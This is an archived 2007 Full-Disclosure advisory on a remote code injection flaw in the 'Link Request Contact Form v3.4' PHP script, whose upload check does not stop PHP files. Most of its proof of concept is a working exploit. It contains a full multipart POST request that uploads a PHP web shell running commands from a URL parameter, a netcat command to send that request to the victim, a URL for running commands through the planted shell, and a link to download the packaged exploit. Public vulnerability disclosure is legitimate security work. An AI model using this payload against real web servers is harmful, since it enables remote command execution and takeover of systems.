lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sun, 10 Jun 2007 11:58:29 +0200
From: <corrado.liotta@...ce.it>
To: <full-disclosure@...ts.grok.org.uk>
Cc: milw0rm <submit@...w0rm.com>
Subject: Link Request Contact Form v3.4 Remote Code
	Injection

-=[--------------------ADVISORY-------------------]=-
                                              
          Link Request Contact Form v3.4     
                                               
  Author: CorryL    [corryl80@...il.com]   
-=[-----------------------------------------------]=-


-=[+] Application:    Link Request Contact Form 
-=[+] Version:        3.4
-=[+] Vendor's URL:   http://www.americanfinancing.net/link-request-contact-form.cfm
-=[+] Platform:       Windows\Linux\Unix
-=[+] Bug type:       Remote code injection
-=[+] Exploitation:   Remote
-=[-]
-=[+] Author:           CorryL  ~ corryl80[at]gmail[dot]com ~
-=[+] Reference:       http://corryl.altervista.org/
-=[+] Irc Chan:         irc.darksin.net #x0n3-h4ck        


..::[ Descriprion ]::..


Link Request Contact Form v3.4 is designed to let your friends or clients request to add their website link(s) 
banner(s) to your website.
User can upload their banner(s) to a directory being a JPG or GIF file for your review before you post their listing(s). 
Once the user fills in all the details an email will be sent to you with the file location and the users details. 
The script will also email your client with a Confirmation email providing them with the same details.
You can modify the script to your liking and change the location of where the files will be store easily. 
There are no restrictions and easy installation instructions are provided. 


..::[ Bug ]::..

This software is affection from a bug type remote code injection, 
a remote attacker is able' to injecting of the code inside the server victim, 
to subsequently be performed.
This happens because' the script allows to insert an image jpg or bmp, 
but not checking the data, and allowing of injecting of the code php.



..::[ Proof Of Concept ]::..

cut the exploit.txt edit the server-victim information,
using netcat to sending the exploit to server.

nc server-victim 80 < exploit.txt

open the browser and connection to http://server-victim/uploads/shell.php?cmd=uname -a

<---------cut here exploit.txt--------->
POST http://server-victim:80/output.php HTTP/1.1
Host: www.server-victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/prova/link-request-contact-form.html
Cookie: PHPSESSID=0654c063218badc1ad8b5a04edf9198d
Content-Type: multipart/form-data; boundary=---------------------------190291279311134
Content-length: 1115

-----------------------------190291279311134
Content-Disposition: form-data; name="Full_Name"

aaa
-----------------------------190291279311134
Content-Disposition: form-data; name="email"

aa@...aa
-----------------------------190291279311134
Content-Disposition: form-data; name="Link_Back"

http://127.0.0.1/
-----------------------------190291279311134
Content-Disposition: form-data; name="Site_Title"

aa
-----------------------------190291279311134
Content-Disposition: form-data; name="You_Web_Address"

http://127.0.0.1/
-----------------------------190291279311134
Content-Disposition: form-data; name="Site_Description"

aaa
-----------------------------190291279311134
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: image/jpeg

<?php ob_clean();echo"Remote command esecution by CorryL http://corryl.altervista.org";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>
-----------------------------190291279311134
Content-Disposition: form-data; name="Submit"

Submit
-----------------------------190291279311134--



<----------------end cut---------------->


download the netcat+exploit from my server:

http://corryl.altervista.org/index.php?mod=Download/Exploit#exploit-LRCF-v3.4.rar




Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists